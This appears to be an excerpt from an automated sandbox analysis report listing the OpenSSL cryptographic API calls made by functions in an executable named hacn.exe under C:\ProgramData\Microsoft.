Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0226AA70 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	13_2_00007FFB0226AA70
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224CEC0 i2d_X509_NAME,i2d_X509_NAME,memcmp,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0224CEC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223AEA0 CRYPTO_free,	13_2_00007FFB0223AEA0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02264EF0 CRYPTO_zalloc,ERR_put_error,_time64,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,memcpy,	13_2_00007FFB02264EF0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223163B CRYPTO_free,CRYPTO_malloc,	13_2_00007FFB0223163B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231DC0 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_put_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	13_2_00007FFB02231DC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022324FA CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	13_2_00007FFB022324FA
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02246F39 CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02246F39
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231078 CRYPTO_free,	13_2_00007FFB02231078
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02247008 CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02247008
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227D050 EVP_CIPHER_CTX_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB0227D050
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231410 CRYPTO_malloc,ERR_put_error,BIO_snprintf,	13_2_00007FFB02231410
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227B020 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,	13_2_00007FFB0227B020
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231479 CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02231479
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02291060 BN_bin2bn,BN_ucmp,BN_is_zero,CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02291060
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232469 CRYPTO_malloc,memcpy,	13_2_00007FFB02232469
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022315C8 EVP_MD_CTX_new,EVP_PKEY_size,CRYPTO_malloc,EVP_DigestSignInit,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,EVP_DigestUpdate,EVP_DigestSignFinal,EVP_DigestSign,BUF_reverse,CRYPTO_free,EVP_MD_CTX_free,CRYPTO_free,EVP_MD_CTX_free,	13_2_00007FFB022315C8
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231D61 CRYPTO_clear_free,	13_2_00007FFB02231D61
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223243C CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,ERR_put_error,	13_2_00007FFB0223243C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223ED90 EVP_MD_CTX_md,EVP_MD_size,CRYPTO_memcmp,EVP_MD_CTX_md,EVP_MD_CTX_md,EVP_MD_size,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,EVP_CIPHER_CTX_cipher,EVP_CIPHER_flags,CRYPTO_memcmp,	13_2_00007FFB0223ED90
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0225CDC0 ERR_put_error,ERR_put_error,ERR_put_error,EVP_MD_size,ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,d2i_X509,X509_get0_pubkey,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,X509_free,OPENSSL_sk_new_null,OPENSSL_sk_push,ERR_put_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_put_error,ERR_put_error,	13_2_00007FFB0225CDC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231F37 CRYPTO_free,CRYPTO_malloc,RAND_bytes,	13_2_00007FFB02231F37
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223220C ERR_put_error,ERR_put_error,ERR_put_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_free,OPENSSL_LH_new,OPENSSL_sk_num,EVP_get_digestbyname,EVP_get_digestbyname,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,RAND_bytes,RAND_priv_bytes,RAND_priv_bytes,RAND_priv_bytes,	13_2_00007FFB0223220C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231393 OPENSSL_sk_new_null,d2i_X509,CRYPTO_free,OPENSSL_sk_push,CRYPTO_free,ERR_clear_error,OPENSSL_sk_value,X509_get0_pubkey,X509_free,X509_up_ref,X509_free,OPENSSL_sk_pop_free,	13_2_00007FFB02231393
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02282E00 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,	13_2_00007FFB02282E00
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231B81 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	13_2_00007FFB02231B81
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02278E3D CRYPTO_malloc,	13_2_00007FFB02278E3D
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02298E40 CRYPTO_free,CRYPTO_malloc,ERR_put_error,	13_2_00007FFB02298E40
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223157D CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,ERR_put_error,ERR_put_error,ERR_put_error,memcpy,	13_2_00007FFB0223157D
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02268E70 CRYPTO_zalloc,CRYPTO_free,	13_2_00007FFB02268E70
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02270E70 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02270E70
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224CE60 CRYPTO_get_ex_new_index,	13_2_00007FFB0224CE60
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223177B EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key,EVP_sha256,EVP_DigestSignInit,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,_time64,EVP_MD_CTX_free,EVP_PKEY_free,EVP_MD_CTX_free,EVP_PKEY_free,	13_2_00007FFB0223177B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232388 CRYPTO_malloc,	13_2_00007FFB02232388
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231195 CRYPTO_malloc,ERR_put_error,memcpy,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231195
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223115E OPENSSL_LH_insert,OPENSSL_LH_retrieve,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	13_2_00007FFB0223115E
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231933 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231933
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022553A4 CRYPTO_memdup,ERR_put_error,	13_2_00007FFB022553A4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232298 CRYPTO_memdup,ERR_put_error,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02232298
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231073 ERR_put_error,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,CRYPTO_THREAD_run_once,	13_2_00007FFB02231073
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231951 ERR_put_error,ASN1_item_free,memcpy,memcpy,_time64,X509_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,ASN1_item_free,	13_2_00007FFB02231951
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231929 BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02231929
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231115 CRYPTO_zalloc,CRYPTO_free,	13_2_00007FFB02231115
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231BE0 EVP_MD_size,RAND_bytes,_time64,CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB02231BE0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231A50 OPENSSL_cleanse,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,CRYPTO_memcmp,	13_2_00007FFB02231A50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231802 CRYPTO_strdup,	13_2_00007FFB02231802
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223230B CRYPTO_memcmp,memchr,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB0223230B
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232554 BIO_s_file,BIO_new,BIO_ctrl,strncmp,strncmp,CRYPTO_realloc,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,PEM_read_bio,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,	13_2_00007FFB02232554
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02289130 CRYPTO_memcmp,	13_2_00007FFB02289130
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02271120 CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB02271120
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02279178 CRYPTO_free,CRYPTO_free,	13_2_00007FFB02279178
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022391C0 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB022391C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231FD2 CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231FD2
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231E29 CRYPTO_malloc,	13_2_00007FFB02231E29
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227B1F0 CRYPTO_malloc,EVP_DigestUpdate,EVP_MD_CTX_free,EVP_PKEY_CTX_free,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_MD_CTX_free,	13_2_00007FFB0227B1F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232289 EVP_MD_size,EVP_CIPHER_iv_length,EVP_CIPHER_key_length,CRYPTO_clear_free,CRYPTO_malloc,	13_2_00007FFB02232289
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022314B5 ERR_put_error,memcpy,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,OPENSSL_sk_value,X509_VERIFY_PARAM_get_depth,CRYPTO_dup_ex_data,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	13_2_00007FFB022314B5
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223160E CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	13_2_00007FFB0223160E
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022896D0 CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB022896D0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231988 CRYPTO_free,CRYPTO_memdup,memcmp,CRYPTO_memdup,	13_2_00007FFB02231988
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022676F0 CRYPTO_free,CRYPTO_strdup,CRYPTO_free,	13_2_00007FFB022676F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223247D CRYPTO_malloc,memcpy,memcpy,memcmp,memcmp,memcmp,ERR_put_error,CRYPTO_clear_free,	13_2_00007FFB0223247D
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231E15 ERR_put_error,CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02231E15
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0228B77C CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB0228B77C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231433 CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB02231433
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022317BE OPENSSL_sk_new_null,d2i_X509,CRYPTO_free,CRYPTO_memcmp,OPENSSL_sk_push,OPENSSL_sk_num,CRYPTO_free,X509_free,OPENSSL_sk_pop_free,OPENSSL_sk_value,X509_get0_pubkey,X509_free,OPENSSL_sk_shift,OPENSSL_sk_pop_free,	13_2_00007FFB022317BE
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022597F0 ERR_put_error,ERR_put_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_free,ERR_put_error,OPENSSL_sk_dup,X509_VERIFY_PARAM_new,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_new_ex_data,	13_2_00007FFB022597F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022894B0 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB022894B0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022594F0 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,	13_2_00007FFB022594F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232004 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memcmp,_time64,	13_2_00007FFB02232004
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022319F1 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB022319F1
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02283610 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,memcpy,	13_2_00007FFB02283610
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02239600 CRYPTO_malloc,ERR_put_error,CRYPTO_free,	13_2_00007FFB02239600
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022635F0 CRYPTO_THREAD_write_lock,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,	13_2_00007FFB022635F0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227B630 CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	13_2_00007FFB0227B630
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231A8C memcmp,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,CRYPTO_free,memcmp,memcmp,memcpy,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231A8C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02247690 EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_clear_free,	13_2_00007FFB02247690
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267680 CRYPTO_free,	13_2_00007FFB02267680
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231A0A CRYPTO_zalloc,memcpy,memcpy,memcpy,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231A0A
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0226FAE0 CRYPTO_realloc,	13_2_00007FFB0226FAE0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231163 EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02231163
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223129E CRYPTO_THREAD_run_once,	13_2_00007FFB0223129E
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231398 EVP_MD_CTX_new,EVP_PKEY_new,EVP_PKEY_assign,EVP_PKEY_security_bits,DH_free,EVP_PKEY_get0_DH,EVP_PKEY_free,DH_get0_key,EVP_PKEY_get1_tls_encodedpoint,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,BN_num_bits,BN_num_bits,memset,BN_num_bits,BN_bn2bin,CRYPTO_free,EVP_PKEY_size,EVP_DigestSignInit,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,CRYPTO_free,EVP_MD_CTX_free,	13_2_00007FFB02231398
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231069 CRYPTO_free,	13_2_00007FFB02231069
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231122 CRYPTO_free,	13_2_00007FFB02231122
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267BF0 CRYPTO_free,	13_2_00007FFB02267BF0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02281BE0 CRYPTO_malloc,ERR_put_error,CRYPTO_malloc,ERR_put_error,CRYPTO_free,CRYPTO_zalloc,ERR_put_error,CRYPTO_free,	13_2_00007FFB02281BE0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227DBE0 CRYPTO_free,CRYPTO_free,	13_2_00007FFB0227DBE0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02277C50 CRYPTO_free,CRYPTO_strndup,	13_2_00007FFB02277C50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267C90 CRYPTO_free,CRYPTO_free,	13_2_00007FFB02267C90
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231A69 CRYPTO_free,	13_2_00007FFB02231A69
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02251C60 CRYPTO_free,CRYPTO_strdup,	13_2_00007FFB02251C60
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231235 X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,	13_2_00007FFB02231235
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02231DCF CRYPTO_malloc,CRYPTO_mem_ctrl,OPENSSL_sk_find,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error,OPENSSL_sk_push,CRYPTO_mem_ctrl,CRYPTO_free,CRYPTO_mem_ctrl,ERR_put_error,	13_2_00007FFB02231DCF
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0229D990 BN_num_bits,CRYPTO_malloc,BN_bn2bin,BN_clear_free,BN_clear_free,CRYPTO_clear_free,BN_clear_free,BN_clear_free,BN_clear_free,	13_2_00007FFB0229D990
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02289990 CRYPTO_malloc,EVP_CIPHER_CTX_new,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,CRYPTO_free,EVP_CIPHER_CTX_free,HMAC_CTX_free,EVP_CIPHER_CTX_iv_length,EVP_CIPHER_iv_length,RAND_bytes,EVP_sha256,EVP_EncryptUpdate,EVP_EncryptFinal,HMAC_Update,HMAC_Final,	13_2_00007FFB02289990
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022310FF CRYPTO_zalloc,ERR_put_error,ERR_put_error,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_malloc,memcpy,CRYPTO_malloc,memcpy,ERR_put_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	13_2_00007FFB022310FF
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022639C0 CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,	13_2_00007FFB022639C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022779C0 CRYPTO_free,CRYPTO_memdup,	13_2_00007FFB022779C0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02257A10 X509_VERIFY_PARAM_free,CRYPTO_free_ex_data,BIO_pop,BIO_free,BIO_free_all,BIO_free_all,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	13_2_00007FFB02257A10
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0227BA00 X509_get0_pubkey,CRYPTO_malloc,RAND_bytes,EVP_PKEY_CTX_new,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,CRYPTO_clear_free,EVP_PKEY_CTX_free,	13_2_00007FFB0227BA00
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02255A07 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	13_2_00007FFB02255A07
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022316F4 CRYPTO_malloc,CRYPTO_THREAD_lock_new,X509_up_ref,X509_chain_up_ref,CRYPTO_strdup,CRYPTO_strdup,CRYPTO_dup_ex_data,CRYPTO_strdup,CRYPTO_memdup,ERR_put_error,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_memdup,	13_2_00007FFB022316F4
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0225FA50 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	13_2_00007FFB0225FA50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02237A50 CRYPTO_free,	13_2_00007FFB02237A50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232063 EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	13_2_00007FFB02232063
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022318DE CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	13_2_00007FFB022318DE
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02267A70 CRYPTO_free,	13_2_00007FFB02267A70
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223176C CRYPTO_free,CRYPTO_malloc,memcmp,CRYPTO_memdup,	13_2_00007FFB0223176C
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02263EC0 CRYPTO_zalloc,ERR_put_error,_time64,CRYPTO_THREAD_lock_new,ERR_put_error,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,	13_2_00007FFB02263EC0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022315E6 EVP_MD_CTX_new,X509_get0_pubkey,EVP_PKEY_id,EVP_PKEY_id,EVP_PKEY_id,EVP_PKEY_size,EVP_DigestVerifyInit,CRYPTO_malloc,BUF_reverse,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,EVP_DigestUpdate,EVP_MD_CTX_ctrl,EVP_DigestVerify,BIO_free,EVP_MD_CTX_free,CRYPTO_free,	13_2_00007FFB022315E6
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02232022 EVP_CIPHER_key_length,EVP_CIPHER_iv_length,CRYPTO_malloc,	13_2_00007FFB02232022
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0224FF10 strncmp,strncmp,strncmp,strncmp,ERR_put_error,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,ERR_put_error,strncmp,CRYPTO_free,OPENSSL_sk_new_null,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,OPENSSL_sk_free,	13_2_00007FFB0224FF10
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB0223DEF0 CRYPTO_free,	13_2_00007FFB0223DEF0
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB02281F50 EVP_CIPHER_CTX_free,EVP_MD_CTX_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	13_2_00007FFB02281F50
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022310F5 EVP_PKEY_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_new,RSA_pkey_ctx_ctrl,CRYPTO_free,EVP_MD_CTX_free,EVP_MD_CTX_free,	13_2_00007FFB022310F5
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB022311B3 EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free,	13_2_00007FFB022311B3
